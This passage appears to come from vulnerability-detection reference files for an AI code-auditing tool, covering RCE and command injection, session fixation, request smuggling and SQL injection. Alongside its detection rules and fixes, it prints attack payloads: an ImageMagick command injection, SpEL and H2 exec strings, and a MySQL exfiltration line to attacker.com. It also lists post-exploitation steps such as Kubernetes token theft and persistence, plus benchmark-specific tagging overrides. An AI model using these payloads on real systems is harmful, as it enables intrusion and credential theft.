- pickle, `yaml.load`/`unsafe_load`, Marshal
- Automatic deserialization in message queues and cache layers

**Expression Languages**
- OGNL/SpEL/MVEL/EL expressions reaching Runtime/ProcessBuilder/exec

**Struts2 OGNL Version Boundaries (fast mode criteria)**
- Only report as high-confidence when BOTH of the following conditions are met:
  - `pom.xml` contains `org.apache.struts:struts2-core` at a version in the high-risk range (e.g., 2.3.x or <= 2.5.33)
  - The project contains reachable Struts action evidence (e.g., `struts.xml` with `<action>` mappings, `extends ActionSupport`, `implements Action`, `@Action(...)`)
- The following evidence is NOT sufficient on its own to confirm action reachability:
  - A Struts filter declaration in `web.xml` alone
  - Log configuration, package name references, or ordinary imports of `org.apache.struts2` / `com.opensymphony.xwork2`
- When only version evidence exists without reachable action evidence, classify as suspicious only — do not report as a high-confidence true positive

### Media and Document Pipelines

**ImageMagick/GraphicsMagick**
- policy.xml may restrict delegates; legacy vectors should still be tested
```
push graphic-context
fill 'url(https://x.tld/a"|id>/tmp/o")'
pop graphic-context
```

**Ghostscript**
- PostScript embedded in PDFs/PS files: `%pipe%id` and file operators

**ExifTool**
- Crafted metadata that invokes external tools or triggers library-level bugs

**LaTeX**
- `\write18`/`--shell-escape`, `\input` piping; pandoc filter chains

**ffmpeg**
- concat/protocol tricks gated by compile-time flag configuration

### SSRF to RCE

**FastCGI**
- `gopher://` to php-fpm (construct FPM records to invoke system/exec)

**Redis**
- `gopher://` to write cron jobs or authorized_keys to webroot
- Module load when the server permits it

**Admin Interfaces**
- Jenkins script console, Spark UI, Jupyter kernels reachable from internal network

### Container and Kubernetes

**Docker**
- From application RCE, inspect `/.dockerenv`, `/proc/1/cgroup`
- Enumerate mounts and capabilities: `capsh --print`
- Abuse paths: mounted docker.sock, hostPath mounts, privileged containers
- Write to `/proc/sys/kernel/core_pattern` or mount the host filesystem with `--privileged`

**Kubernetes**
- Steal service account token from `/var/run/secrets/kubernetes.io/serviceaccount`
- Query API server for pods and secrets; enumerate RBAC permissions
- Communicate with kubelet on 10250/10255; exec into adjacent pods
- Escalate via privileged pods, hostPath volume mounts, or daemonsets

## Evasion Patterns

**Encoding Differentials**
- URL encoding, Unicode normalization, comment insertion, mixed case
- Request smuggling to route payloads through alternate parsers

**Binary Alternatives**
- Absolute paths and alternative binaries (busybox, sh, env)
- Windows variations across PowerShell and CMD
- Constrained-language mode bypasses

## Post-Exploitation

**Privilege Escalation**
- `sudo -l`; SUID binaries; capability enumeration (`getcap -r / 2>/dev/null`)

**Persistence**
- cron/systemd/user services; web shell deployed behind authentication
- Plugin hooks; supply-chain insertion into CI/CD pipelines

**Lateral Movement**
- SSH keys, cloud metadata service credentials, internal service tokens

## Analysis Workflow

1. **Identify sinks** — Command wrappers, template rendering, deserialization entry points, file converters, report generators, plugin hooks
2. **Establish oracle** — Timing delays, DNS/HTTP callbacks, or deterministic output diffs (length/ETag)
3. **Confirm context** — Current user, working directory, PATH, shell, SELinux/AppArmor status, containerization
4. **Map boundaries** — Readable/writable file paths, outbound egress routes
5. **Progress to control** — File write, scheduled execution, service restart hooks

## Confirming a Finding

1. Deliver a minimal, reproducible oracle (DNS/HTTP/timing) demonstrating controlled code execution
2. Show command context — uid, gid, cwd, environment — alongside controlled output
3. Demonstrate persistence or file write within application constraints
4. If containerized, document boundary crossing attempts (host files, Kubernetes APIs) and whether they succeed
5. Keep PoCs minimal and reproducible across multiple runs and transport variants

## Common False Alarms

- Crashes or timeouts without any attacker-controlled behavioral outcome
- Filtered execution where only a constrained command subset runs without attacker-controlled arguments
- Sandboxed interpreters running in a restricted VM that prohibits IO and process spawning
- Simulated outputs not derived from actual executed commands

## Business Risk

- Remote system control under the application user account; potential privilege escalation to root
- Data theft, encryption and signing key compromise, supply-chain insertion, and lateral movement
- Cluster-wide compromise when chained with container or Kubernetes misconfigurations

## Analyst Notes

1. Prefer OAST oracles; avoid long sleeps — short gated delays minimize noise
2. When command injection produces only weak results, pivot to file write, deserialization, or SSTI paths
3. Treat converters and document renderers as first-class sinks; many run out-of-process with privileged delegates
4. For Java and .NET, enumerate classpath assemblies against known gadget libraries; confirm with out-of-band payloads
5. Always verify the execution environment: PATH, shell, umask, SELinux/AppArmor enforcement, container capabilities
6. Keep payloads portable across POSIX/BusyBox/PowerShell and minimize external dependencies
7. Document the smallest exploit chain that proves durable impact; avoid unnecessary shell drops

## Core Principle

RCE is a property of the execution boundary. Locate the sink, establish a quiet oracle, and advance toward durable control only as far as the engagement requires. Validate across transport variants and execution environments, since defenses frequently differ per code path.

## Distinguishing Command Injection from Generic RCE

Command injection and RCE are related but distinct vulnerability classes. Using the precise label improves triage accuracy and remediation guidance.

### Command Injection (OS Command Injection)
The attacker's input reaches an **OS shell or process execution sink** and is interpreted as part of a shell command:

**Sinks that indicate command injection:**
- Python: `os.system()`, `os.popen()`, `subprocess.Popen(shell=True)`, `subprocess.run(shell=True)`, `subprocess.call(shell=True)`
- PHP: `exec()`, `system()`, `passthru()`, `shell_exec()`, `popen()`, backtick operator
- Node.js: `child_process.exec()`, `child_process.execSync()`
- Java: `Runtime.getRuntime().exec()`, `ProcessBuilder` with user args
- Ruby: `system()`, backticks, `%x{}`, `IO.popen()`, `Open3.capture3()`

**Key characteristic**: the user input is concatenated into a **shell command string** or passed as **arguments to an OS process**. The exploit uses shell metacharacters (`;`, `|`, `&&`, `$()`, backticks) to inject additional commands.

### Generic RCE
Use RCE only when the execution primitive is **NOT an OS command shell** but rather a language-level code evaluation or injection mechanism:
- `eval()` / `exec()` (Python/JS/PHP code evaluation, not OS commands)
- Template injection leading to code execution (SSTI → RCE)
- Deserialization chains leading to arbitrary code execution
- Expression language injection (SpEL, OGNL, MVEL)
- ScriptEngine / Groovy shell / dynamic class loading

### Decision Rule
1. Does user input reach `system()`, `exec()` (shell), `popen()`, `subprocess(shell=True)`, `Runtime.exec()`, or equivalent OS command API? → **command injection**
2. Does user input reach `eval()`, `exec()` (code), template engine, deserializer, or expression parser? → **RCE** (or the more specific sub-class like SSTI, insecure deserialization)
3. CVE-based exploits (e.g., WordPress plugin RCE, Struts OGNL) where the exploit chain ultimately calls OS commands → **command injection** if the final sink is a shell command; otherwise **RCE**
4. When both exist (e.g., `eval()` that constructs and runs a shell command), prefer **command injection** if the attacker's primary control is over the OS command

### Common Misclassification Patterns
- Apache Struts OGNL injection with `Runtime.exec()` in the gadget chain → the primary vulnerability is command injection via OGNL, classify as **command injection**
- WordPress plugin vulnerabilities that lead to shell command execution → **command injection**
- `subprocess.Popen(f"curl {url}", shell=True)` → **command injection**, not SSRF (even though curl is involved, the shell interpretation is the vulnerability)
- PHP `system("convert " . $userInput)` → **command injection**
- Flask `eval(request.args.get('expr'))` → **RCE** (Python code evaluation, not shell)

## Java Source Detection Rules

### TRUE POSITIVE: Runtime.exec with user-controlled input (CWE-78)
- `Runtime.getRuntime().exec(userInput)` or `Runtime.getRuntime().exec(new String[]{..., userInput, ...})` where `userInput` comes from `@RequestParam`, `@PathVariable`, or request body = CONFIRM.
- `ProcessBuilder` with user-controlled args = CONFIRM.
- Even if the input is labeled as a "command" parameter in a demo app, the vulnerability is real.

### TRUE POSITIVE: SpEL expression injection (CWE-94/CWE-78)
- `ExpressionParser.parseExpression(userInput).getValue(...)` where `userInput` is HTTP request data = CONFIRM.
- Spring SPEL evaluation with user-controlled expression string = RCE.

### FALSE POSITIVE
- `Runtime.exec(...)` with a fully static/hardcoded command array (no user input in any element).
- Command execution inside a restricted sandbox where the application has no process spawn capability.

## Python/JS/PHP Source Detection Rules

### Python
- **VULN**: `os.system(user_input)`, `os.popen(user_input)`
- **VULN**: `subprocess.run(user_input, shell=True)` — shell=True with controllable input
- **VULN**: `subprocess.Popen(f"cmd {user_input}", shell=True)`
- **VULN**: `eval(user_input)`, `exec(user_input)`
- **SAFE**: `subprocess.run(["ls", user_input], shell=False)` — list form, no shell injection
- **KEY**: `shell=True` + any user input = HIGH RISK

### JavaScript (Node.js)
- **VULN**: `child_process.exec(userInput, callback)` — shell interprets the string
- **VULN**: `child_process.execSync(userInput)`
- **VULN**: `eval(req.body.code)`, `new Function(req.body.code)()`
- **SAFE**: `child_process.execFile('/bin/ls', [userInput])` — no shell spawned
- **SAFE**: `child_process.spawn('ls', [userInput])` — array args, no shell

### PHP
- **VULN**: `exec($userInput)`, `system($userInput)`, `passthru($userInput)`
- **VULN**: `` `$userInput` `` — backtick operator executes shell command
- **VULN**: `shell_exec($userInput)`, `proc_open($userInput, ...)`
- **SAFE**: `escapeshellarg()` + `escapeshellcmd()` wrapping (reduces risk but not a complete fix)

## Java Servlet Patterns — Command Injection (CWE-78)

**VULN** — tainted input reaches shell execution:
```java
Runtime.getRuntime().exec(new String[]{"sh", "-c", tainted})
Runtime.getRuntime().exec("cmd " + tainted)
new ProcessBuilder("sh", "-c", tainted).start()
```

**SAFE** — fixed commands only, no tainted data in command string:
```java
new ProcessBuilder("ls", "-la", fixedPath).start()  // SAFE if no tainted data
```

**Decision rule**: tainted data embedded in the shell command string or passed to `exec(String)` (single-string form) → **VULN**.

**Edge cases**:
- `Runtime.exec(cmd, env)` and `Runtime.exec(args, env, cwd)` are **VULN** when any element of the args/env array is tainted.
- Array-form execution is still **VULN** when any element is tainted: `new String[]{"sh", "-c", cmd + bar}`.
- Constant-fold obvious arithmetic or switch branches — if they force a fixed literal into the command → **SAFE**.
- If a helper method is called with a fixed literal and returns from that fixed-literal path, do not preserve taint from discarded temporaries → **SAFE**.

## Log4j2 Interpolation as RCE Source (Log4Shell)

```java
// VULNERABLE: Log4j2 < 2.15.0 logging user-controlled data
// The vulnerability is in WHAT gets logged — any user-controlled string containing
// ${jndi:ldap://...} triggers a JNDI lookup at log time

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

Logger logger = LogManager.getLogger();

// ALL of these are VULNERABLE if log4j-core < 2.15.0:
logger.info("User login: {}", request.getParameter("username"));
logger.error("Auth failed for: " + request.getHeader("X-Forwarded-For"));
logger.warn("Request from: {}", request.getHeader("User-Agent"));
logger.debug("Processing: {}", request.getRequestURI());
```

**VULN condition** (all three must hold):
1. `log4j-core` version < 2.15.0 in `pom.xml` / `build.gradle`
2. Logger logs user-controlled value (HTTP header, param, body, URI)
3. No mitigation: `-Dlog4j2.formatMsgNoLookups=true` or `log4j2.xml` with `%msg{nolookups}` pattern

```xml
<!-- pom.xml — vulnerable Log4j2 versions -->
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>  <!-- CVE-2021-44228: CRITICAL -->
</dependency>
```

**Safe versions**: log4j-core >= 2.17.1 (Java 11+), >= 2.12.4 (Java 8), >= 2.3.2 (Java 7) — all known RCE variants fixed

## Node.js child_process Patterns

```js
// VULNERABLE: exec() with user-controlled string (shell interprets special chars)
const { exec, execSync } = require('child_process');

app.get('/ping', (req, res) => {
    exec(`ping -c 1 ${req.query.host}`, (err, stdout) => {
        res.send(stdout);
    });
    // Attacker: host=127.0.0.1;id  → command injection
});

// VULNERABLE: template literal in exec
app.post('/convert', (req, res) => {
    execSync(`convert ${req.body.inputFile} ${req.body.outputFile}`);
    // Both arguments shell-interpreted — injection via ; | && etc.
});

// VULNERABLE: execSync with shell:true
const { spawnSync } = require('child_process');
spawnSync('bash', ['-c', req.query.cmd], { shell: true });

// SAFE: spawn with array args (no shell invocation)
const { spawn } = require('child_process');
spawn('ping', ['-c', '1', req.query.host]);   // array form, shell NOT invoked — SAFE
// But: verify req.query.host doesn't contain flag injection (--foo)
```

**Key distinction**:
- `exec(string)` → shell parses the entire string → **VULN** with any user input
- `spawn(cmd, [args])` → no shell, args passed directly → **SAFE** (unless cmd itself is user-controlled)
- `spawn(cmd, args, {shell: true})` → shell invoked → **VULN**

## Java EL/SpEL/OGNL Explicit Sink Detection

```java
// VULNERABLE: SpEL with StandardEvaluationContext (full power — T() type access)
ExpressionParser parser = new SpelExpressionParser();
Expression expr = parser.parseExpression(request.getParameter("query"));
Object result = expr.getValue(new StandardEvaluationContext());
// Attacker: query=T(java.lang.Runtime).getRuntime().exec('id')  → RCE

// VULNERABLE: OGNL evaluation with user input
Object value = Ognl.getValue(request.getParameter("expr"), context, root);

// VULNERABLE: MVEL
Object result = MVEL.eval(request.getParameter("expression"), vars);

// VULNERABLE: Groovy ScriptEngine
ScriptEngine engine = new ScriptEngineManager().getEngineByName("groovy");
engine.eval(request.getParameter("script"));

// VULNERABLE: BeanShell (bsh.Interpreter)
Interpreter interpreter = new Interpreter();
interpreter.eval(request.getParameter("bsh"));

// SAFE: SpEL with SimpleEvaluationContext — no type access, no method invocations
EvaluationContext ctx = SimpleEvaluationContext.forReadOnlyDataBinding().build();
parser.parseExpression(userInput).getValue(ctx);
```

## Groovy Script Injection via ScriptEngineManager

```java
// VULNERABLE: any JSR-223 script engine with user input
ScriptEngine engine = new ScriptEngineManager().getEngineByName("groovy");  // or "js", "ruby"
engine.eval(request.getParameter("script"));
// ScriptEngine gives full language access → RCE

// VULNERABLE: Scripting API used in report/template generation
ScriptEngine nashorn = new ScriptEngineManager().getEngineByName("nashorn");
nashorn.eval(request.getParameter("filter"));   // Nashorn (Java's JS engine) = full RCE
// Note: Nashorn deprecated in Java 11+, GraalVM Polyglot API used instead

// VULNERABLE: GraalVM Polyglot
Context polyContext = Context.newBuilder("js").build();
polyContext.eval("js", request.getParameter("code"));  // full JS execution = RCE
```

## H2 Console / CREATE ALIAS Code Execution

```java
// VULNERABLE: H2 in-memory DB with user-controlled SQL, allowing DDL
// H2's CREATE ALIAS allows defining Java methods:
// CREATE ALIAS EXEC AS $$ void exec(String s) throws Exception { Runtime.getRuntime().exec(s); } $$
// CALL EXEC('id')

// VULN indicator: application executes user-controlled SQL against H2 database
Statement stmt = h2Connection.createStatement();
stmt.execute(request.getParameter("sql"));   // DDL allowed → CREATE ALIAS → RCE

// VULN indicator: H2 INIT parameter in JDBC URL
String jdbcUrl = "jdbc:h2:mem:test;" + request.getParameter("options");
// options=INIT=CREATE ALIAS EXEC AS $$ ... $$\;CALL EXEC('id')
Connection conn = DriverManager.getConnection(jdbcUrl);
```

## Java Additional RCE Sinks Checklist

Flag any of these when user-controlled data flows into them:

| Sink | Tag | Condition |
|------|-----|-----------|
| `Runtime.getRuntime().exec(tainted)` | rce | tainted = user input or concatenated user input |
| `new ProcessBuilder(tainted).start()` | rce | any arg tainted |
| `new ProcessBuilder("sh", "-c", tainted).start()` | rce | always VULN |
| `SpelExpressionParser().parseExpression(tainted)` | rce | StandardEvaluationContext |
| `Ognl.getValue(tainted, ...)` | rce | tainted = user input |
| `MVEL.eval(tainted, ...)` | rce | tainted = user input |
| `new GroovyShell().evaluate(tainted)` | rce | always VULN |
| `ScriptEngine.eval(tainted)` | rce | always VULN |
| `ObjectInputStream.readObject()` on user stream | insecure_deserialization | — |
| `new InitialContext().lookup(tainted)` | rce + ssrf | JNDI injection |
| H2 `stmt.execute(tainted)` with DDL allowed | rce | CREATE ALIAS path |
| Log4j2 < 2.15.0 logging user strings | rce | Log4Shell |

**Benchmark tag override**: In benchmark mode, prefer more specific tags per SKILL.md guardrails: `command_injection` for direct shell/process execution sinks, `spel_injection` for SpEL expression evaluation, `jndi_injection` for JNDI lookup sinks. Use `rce` only when no more specific benchmark tag applies.

## Node.js RCE Sink Checklist

| Sink | Condition | Verdict |
|------|-----------|---------|
| `exec(userInput)` | any user input | VULN |
| `execSync(userInput)` | any user input | VULN |
| `eval(userInput)` | any user input | VULN |
| `new Function(userInput)()` | any user input | VULN |
| `vm.runInThisContext(userInput)` | any user input | VULN |
| `spawn(cmd, [args])` | cmd hardcoded, args = user input | SAFE (no shell) |
| `spawn(cmd, args, {shell:true})` | any user arg | VULN |
| `child_process.fork(userInput)` | user-controlled module path | VULN (arbitrary module load) |
- Direct `Runtime.getRuntime().exec(...)`, `ProcessBuilder`, shell wrappers, or SSI/CGI-to-command chains should use benchmark tag `command_injection`, not generic `rce`, when the first dangerous sink is OS command execution.
- In `SecExample`, `rcecontroller` is project-level `command_injection`.
- In `vulhub`, `httpd/ssi-rce` and similar upload/SSI execution samples should preserve `command_injection` at project-tag layer.
- FALSE POSITIVE guard: keep `rce` only when no more specific benchmark tag exists.
- In `SecExample`, `/rceoutput` with `Runtime.getRuntime().exec(command)` must preserve benchmark tag `command_injection`; do not emit an extra standalone `rce` tag for that same source→sink path.

## Unsafe Reflection Detection (CWE-470)

When user-controlled input reaches `Class.forName()` or similar reflection APIs, an attacker can instantiate arbitrary classes, invoke methods, or access fields — leading to RCE, privilege escalation, or sandbox escape.

### Vulnerable Patterns

```java
// VULNERABLE: user input controls the class name
String className = request.getParameter("class");
Class<?> clazz = Class.forName(className);
Object obj = clazz.getDeclaredConstructor().newInstance();

// VULNERABLE: reflection chain with user-controlled method name
String methodName = request.getParameter("method");
Method m = clazz.getMethod(methodName);
m.invoke(obj);

// VULNERABLE: ServiceLoader or plugin loader with user-controlled class path
URLClassLoader loader = new URLClassLoader(new URL[]{new URL(userInput)});
Class<?> plugin = loader.loadClass(request.getParameter("plugin"));
```

### Safe Patterns

```java
// SAFE: allowlist of permitted class names
Map<String, Class<?>> allowed = Map.of("csv", CsvExporter.class, "json", JsonExporter.class);
Class<?> clazz = allowed.get(request.getParameter("format"));
if (clazz == null) throw new IllegalArgumentException("Unknown format");
```

### Detection Rules

- `Class.forName(userInput)` where `userInput` is derived from HTTP request data → **CONFIRM** (CWE-470)
- `ClassLoader.loadClass(userInput)` with user-controlled class name → **CONFIRM**
- Reflection combined with `newInstance()` or `Method.invoke()` on user-controlled targets → **CONFIRM**

### Tag Selection

- When the reflection sink leads to arbitrary class instantiation or method invocation: tag as `rce`
- When the reflection is limited to loading a class without instantiation and no further exploitation is evident: tag as `unsafe_reflection` if supported, otherwise `rce`
- In benchmark mode, prefer the tag that matches the ground truth taxonomy of the project

## references/session_fixation.md

---
name: session_fixation
description: Session fixation detection — session ID not regenerated on authentication state change
---

# Session Fixation

Session fixation occurs when a web application does not issue a new session identifier after a successful authentication event. An attacker who can set or predict the pre-authentication session ID retains access to the authenticated session, resulting in full account takeover (CWE-384).

## Overview

The attack works in three steps: (1) the attacker obtains or forces a known session ID onto the victim's browser (via URL parameter, cookie injection, or a subdomain cookie), (2) the victim authenticates using that session, and (3) because the server never rotates the session ID, the attacker's copy of the ID is now bound to the victim's authenticated context.

## Where to Look

- **Login handlers** — servlet `doPost` methods, Spring `@PostMapping("/login")`, custom authentication filters
- **Authentication success callbacks** — Spring Security `AuthenticationSuccessHandler`, custom post-login redirects
- **Session management configuration** — `SecurityFilterChain` or `WebSecurityConfigurerAdapter` beans, `<session-management>` XML
- **Password reset and identity change flows** — any endpoint that elevates privilege or switches the bound user identity
- **OAuth/OIDC callback handlers** — code-exchange endpoints that establish a server-side session after token validation
- **Multi-step authentication** — flows where the session survives across challenge steps without regeneration

## Vulnerability Patterns

### Java / Spring

- Login controller calls `request.getSession()` to read user data but never calls `session.invalidate()` or `request.changeSessionId()` before or after storing authenticated attributes
- Spring Security config omits `sessionManagement()` entirely **and** uses a custom authentication flow that bypasses the default filter chain
- Explicit `sessionFixation().none()` in the security config — disables all session ID rotation
- Manual session attribute copying (e.g., `Utils.setSessionUserName(session, user)`) without first invalidating the old session

### PHP

- `$_SESSION['user'] = $username;` after `session_start()` without calling `session_regenerate_id(true)` on successful login
- Custom login scripts that set session variables directly without regeneration

### Node.js / Express

- `req.session.user = authenticatedUser;` without calling `req.session.regenerate()` first
- Passport.js default `serializeUser` without session regeneration middleware

### Python / Django

- Django's built-in auth views call `login()` which rotates the session key by default — manual login flows that skip `django.contrib.auth.login()` and directly set `request.session['user']` are vulnerable
- Flask: `session['user'] = username` without regenerating the session via `session.regenerate()` or equivalent

## Java / Spring Detection Rules

### TRUE POSITIVE

- **No `session.invalidate()` on login**: a login handler sets session attributes (e.g., user identity, roles) after authentication succeeds but does not call `session.invalidate()` followed by `request.getSession(true)`, nor `request.changeSessionId()`, anywhere in the login path.
- **`sessionFixation().none()`**: Spring Security configuration explicitly disables session fixation protection.
- **Custom auth filter without regeneration**: a filter extending `UsernamePasswordAuthenticationFilter` or `OncePerRequestFilter` that authenticates the user and populates `SecurityContextHolder` without triggering session ID rotation.
- **Identity switch without session reset**: code that changes the session-bound user identity (e.g., via a helper like `setSessionUserName()`) without invalidating and re-creating the session — the old session ID remains valid under the new identity.

### FALSE POSITIVE

- **Spring Security default config**: since Spring Security 3.1, the default session fixation strategy is `migrateSession` (or `changeSessionId` since Servlet 3.1). If `sessionManagement()` is present without `.sessionFixation().none()`, session fixation is mitigated by default. Do not emit a finding.
- **Explicit `sessionFixation().newSession()` or `.migrateSession()` or `.changeSessionId()`**: these are safe configurations.
- **`session.invalidate()` followed by `request.getSession(true)`**: the old session is destroyed and a fresh session is created — safe.
- **Stateless JWT-only APIs**: when `SessionCreationPolicy.STATELESS` is set and no server-side session is created, session fixation is not applicable.
- **`request.changeSessionId()`** called in the login flow: this is the Servlet 3.1+ session fixation mitigation.

## TRUE POSITIVE Rules

Confirm session fixation when ALL of the following hold:

1. The application uses server-side sessions (cookies carry a session ID such as `JSESSIONID`)
2. A successful authentication event binds a user identity to the session
3. The session ID observable before authentication is identical to the session ID after authentication — no call to `invalidate()`, `changeSessionId()`, `regenerate()`, or framework-level session fixation protection
4. No compensating control (e.g., Spring Security default `migrateSession`) is in effect

## FALSE POSITIVE Rules

Do NOT emit a session fixation finding when:

- Spring Security's `SessionManagementConfigurer` is active with any strategy other than `none` — the default is `migrateSession`
- The application is purely stateless (JWT bearer tokens, no `JSESSIONID` cookie, `SessionCreationPolicy.STATELESS`)
- The login handler explicitly calls `session.invalidate()` and then `request.getSession(true)` before setting authenticated attributes
- The code calls `request.changeSessionId()` in the authentication success path
- A custom `SessionAuthenticationStrategy` that rotates session IDs is registered

## Remediation

### Java Servlet

```java
// SAFE: invalidate old session and create new one on login
HttpSession oldSession = request.getSession(false);
if (oldSession != null) {
    oldSession.invalidate();
}
HttpSession newSession = request.getSession(true);
newSession.setAttribute("user", authenticatedUser);
```

### Java Servlet 3.1+

```java
// SAFE: rotate session ID in place, preserving attributes
request.changeSessionId();
```

### Spring Security

```java
// SAFE: explicit session fixation protection
http.sessionManagement(session -> session
    .sessionFixation().newSession()
);
```

### PHP

```php
// SAFE: regenerate session ID on login, delete old session
session_regenerate_id(true);
$_SESSION['user'] = $username;
```

### Node.js / Express

```javascript
// SAFE: regenerate session before setting user
req.session.regenerate(function(err) {
    req.session.user = authenticatedUser;
});
```

## Business Risk

- Full account takeover when an attacker fixes the session ID before the victim logs in
- Privilege escalation when a low-privilege session is carried into a high-privilege context
- Compliance violations (OWASP A07:2021 — Identification and Authentication Failures)

## Core Principle

Every authentication state change — login, privilege elevation, identity switch — must issue a fresh session identifier. The pre-authentication session ID must never survive into the authenticated context.

## references/smuggling_desync.md

---
name: smuggling_desync
description: Detect HTTP Request Smuggling and desync vulnerabilities arising from inconsistent Content-Length vs Transfer-Encoding header handling between frontend proxy and backend server.
---

# HTTP Request Smuggling / Desync

HTTP Request Smuggling (HRS) exploits ambiguity in how a chain of HTTP servers (typically a frontend proxy + backend application server) parse request boundaries. When they disagree on where one request ends and the next begins, an attacker can "smuggle" a prefix of their request into the next user's request stream.

## Attack Types

- **CL.TE**: Frontend uses Content-Length; backend uses Transfer-Encoding chunked.
- **TE.CL**: Frontend uses Transfer-Encoding; backend uses Content-Length.
- **TE.TE**: Both support TE but one can be confused with an obfuscated header (e.g., `Transfer-Encoding: xchunked`).

## Business Risk

- Bypass security controls (WAF, access control) on the frontend.
- Poison other users' requests (request hijacking).
- Cache poisoning, credential capture via redirect.

## TRUE POSITIVE Criteria

- Detected architecture has a **frontend proxy** (nginx, HAProxy, CDN) + **backend** (Gunicorn, uWSGI, PHP-FPM).
- Configuration allows both `Content-Length` and `Transfer-Encoding` on the same request path.
- Backend server version or config known to have differential TE/CL handling.

## FALSE POSITIVE Criteria

- Single-layer architecture: direct client-to-application with no proxy in between.
- Modern, patched server stack configured to reject ambiguous requests.

---

## Python Source Detection Rules

### Werkzeug / Flask
- **RISK**: `app.run(host='0.0.0.0')` behind nginx/HAProxy without explicit CL/TE normalization
- **CONFIG RISK**: `gunicorn --worker-class gevent` or `--worker-class eventlet` behind nginx — async workers have historically had TE handling differences
- **PATTERN**: `proxy_pass` in nginx config pointing to Flask/Gunicorn — audit TE header normalization
- **MITIGATION**: `proxy_http_version 1.1` + `proxy_set_header Connection ""` in nginx (disables keep-alive ambiguity)

### WSGI servers (gunicorn, uWSGI)
- **RISK**: `gunicorn` < 20.x — known CL.TE handling differences
- **RISK**: `uWSGI` with `--http-keepalive` behind a proxy that doesn't normalize TE headers
- **CONFIG FLAG**: Look for both `Content-Length` and `Transfer-Encoding` allowed simultaneously in server config

### Django / Channels
- **RISK**: Django Channels with Daphne behind nginx — WebSocket upgrade paths may have desync surface
- **PATTERN**: Any deployment where nginx is configured with `proxy_pass` to a Python WSGI/ASGI server

---

## JavaScript Source Detection Rules

### Node.js HTTP server
- **RISK**: `http.createServer()` or Express behind nginx/Cloudflare/HAProxy
- **VULN CONFIG**: Node.js before v14.5.0 — `Content-Length` and `Transfer-Encoding: chunked` together not rejected
- **PATTERN**: Express behind nginx where `proxy_set_header` does not strip/normalize TE
- **MITIGATION**: `server.maxHeadersCount`, proper nginx `proxy_http_version 1.1`

### Fastify / Koa
- **RISK**: Same as Express — proxy-backend desync depends on nginx/HAProxy config, not framework
- **PATTERN**: `app.listen()` without TLS termination at app level — implies proxy in front

---

## PHP Source Detection Rules

### Apache + PHP-FPM / mod_php
- **RISK**: Apache `mod_proxy` + PHP-FPM — TE header handling depends on Apache version and ProxyPass config
- **RISK**: Apache < 2.4.48 — known HRS vulnerabilities in mod_proxy
- **CONFIG FLAG**: `ProxyPass / http://127.0.0.1:9000/` with default TE settings
- **MITIGATION**: `RequestHeader unset Transfer-Encoding` in Apache config

### nginx + PHP-FPM
- **RISK**: nginx `fastcgi_pass` to PHP-FPM — less common HRS surface but TE obfuscation possible
- **CONFIG FLAG**: `fastcgi_keep_conn on` with ambiguous CL/TE handling

### General indicators
- Any `nginx.conf`, `apache2.conf`, `haproxy.cfg` present in the repository alongside a backend application
- `keepalive` connections enabled between proxy and backend
- No explicit CL/TE conflict rejection in proxy config

## references/sql_injection.md

---
name: sql-injection
description: SQL injection testing covering union, blind, error-based, and ORM bypass techniques
---

# SQL Injection

SQLi remains among the most durable and damaging vulnerability classes. Contemporary exploitation targets parser differentials, ORM and query-builder edge cases, JSON/XML/CTE/JSONB surfaces, out-of-band exfiltration channels, and subtle blind oracles. Every string concatenation into SQL warrants scrutiny.

## Where to Look

**Databases**
- Classic relational engines: MySQL/MariaDB, PostgreSQL, MSSQL, Oracle
- Extended surfaces: JSON/JSONB operators, full-text and search indexes, geospatial functions, window functions, CTEs, lateral joins

**Integration Paths**
- ORMs, query builders, stored procedures
- Search servers, report generators, and data exporters

**Input Locations**
- Path segments, query strings, request bodies, headers, and cookies
- Mixed encodings: URL, JSON, XML, multipart
- Identifiers versus values — table and column names require quoting and escaping; literals require quotes and CAST
- Query builder raw APIs: `whereRaw`/`orderByRaw`, string templates embedded in ORM calls
- JSON coercion or array containment operators passed through without sanitization
- Bulk and batch endpoints, report generators that embed filter criteria directly into query text

## How to Detect

**Error-Based**
- Trigger type, constraint, or parser errors that surface stack traces, version strings, or internal paths

**Boolean-Based**
- Craft paired requests whose only difference is predicate truth value
- Diff status codes, response bodies, content length, and ETag headers

**Time-Based**
- `SLEEP`/`pg_sleep`/`WAITFOR`
- Gate delays inside subselects to avoid false positives from global latency spikes

**Out-of-Band (OAST)**
- Elicit DNS or HTTP callbacks using database-specific primitives tied to a controlled listener

## DBMS Primitives

### MySQL

- Version/user/db: `@@version`, `database()`, `user()`, `current_user()`
- Error-based: `extractvalue()`/`updatexml()` (older versions), JSON functions for controlled error shaping
- File IO: `LOAD_FILE()`, `SELECT ... INTO DUMPFILE/OUTFILE` (requires FILE privilege and permissive secure_file_priv)
- OOB/DNS: `LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))`
- Time: `SLEEP(n)`, `BENCHMARK`
- JSON: `JSON_EXTRACT`/`JSON_SEARCH` with crafted paths; GIS functions sometimes expose side channels

### PostgreSQL

- Version/user/db: `version()`, `current_user`, `current_database()`
- Error-based: raise exceptions via unsupported casts or division by zero; `xpath()` errors through the xml2 extension
- OOB: `COPY (program ...)` or dblink/foreign data wrappers when enabled; HTTP extensions
- Time: `pg_sleep(n)`
- Files: `COPY table TO/FROM '/path'` (superuser required), `lo_import`/`lo_export`
- JSON/JSONB: operators `->`, `->>`, `@>`, `?|` combined with lateral joins and CTEs for blind extraction

### MSSQL

- Version/db/user: `@@version`, `db_name()`, `system_user`, `user_name()`
- OOB/DNS: `xp_dirtree`, `xp_fileexist`; HTTP via OLE automation (`sp_OACreate`) when enabled
- Exec: `xp_cmdshell` (commonly disabled), `OPENROWSET`/`OPENDATASOURCE`
- Time: `WAITFOR DELAY '0:0:5'`; heavy computation functions cause measurable latency
- Error-based: convert/parse failures, divide by zero, `FOR XML PATH` data leaks

### Oracle

- Version/db/user: banner from `v$version`, `ora_database_name`, `user`
- OOB: `UTL_HTTP`/`DBMS_LDAP`/`UTL_INADDR`/`HTTPURITYPE` (permission-dependent)
- Time: `dbms_lock.sleep(n)`
- Error-based: `to_number`/`to_date` coercion failures, `XMLType` conversion errors
- File: `UTL_FILE` with directory objects (requires privilege)

## Vulnerability Patterns

### UNION-Based Extraction

- Determine column count and compatible types via `ORDER BY n` then `UNION SELECT null,...`
- Align types using `CAST`/`CONVERT`; coerce to text or JSON for browser rendering
